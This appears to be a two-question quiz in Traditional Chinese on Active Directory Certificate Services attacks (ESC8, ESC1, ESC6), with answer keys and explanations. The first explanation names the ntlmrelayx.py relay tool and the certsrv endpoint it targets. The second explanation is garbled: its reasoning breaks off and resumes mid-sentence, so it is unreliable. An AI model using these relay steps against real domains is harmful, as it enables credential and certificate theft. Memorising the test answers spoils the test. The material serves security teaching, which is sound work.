ESC8 攻擊利用 AD CS 的哪個服務進行 NTLM 中繼?
A. RPC Endpoint Mapper
B. Web Enrollment (certsrv)
C. LDAP Service
D. Kerberos KDC
答案:B
解析:
ESC8 利用 AD CS Web Enrollment 服務(certsrv)未啟用擴充保護驗證(EPA),可進行 NTLM 中繼攻擊。IIS 預設允許 NTLM 驗證且未啟用通道繫結(Channel Binding),攻擊者可中繼受害者的 NTLM 驗證到 /certsrv/ 端點。攻擊時會使用 ntlmrelayx.py 工具,目標設定為 http://CA-IP/certsrv/certfnsh.asp。
哪個防禦措施可以同時緩解 ESC1 和 ESC6 兩種攻擊?
A. 升級所有 V1 範本到 V2 版本
B. 停用「由申請者提供主體」並關閉 CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標
C. 啟用憑證管理員核准所有申請
D. 限制 Domain Users 的註冊權限
答案:B
解析:
這題需要理解兩種攻擊的本質:
EDITF_ATTRIBUTESUBJECTALTNAME2 旗標時,需要使用 certutil 命令停用此危險旗標選項 B 同時處理了這兩個問題的根源:禁止申請者自行指定身分資訊。雖然選項 C(啟用管理員核准)也能提供保護,但這是程序性控制而非技術性控制,且會大幅增加管理負擔。選項 A 和 D 則只能部分緩解問題。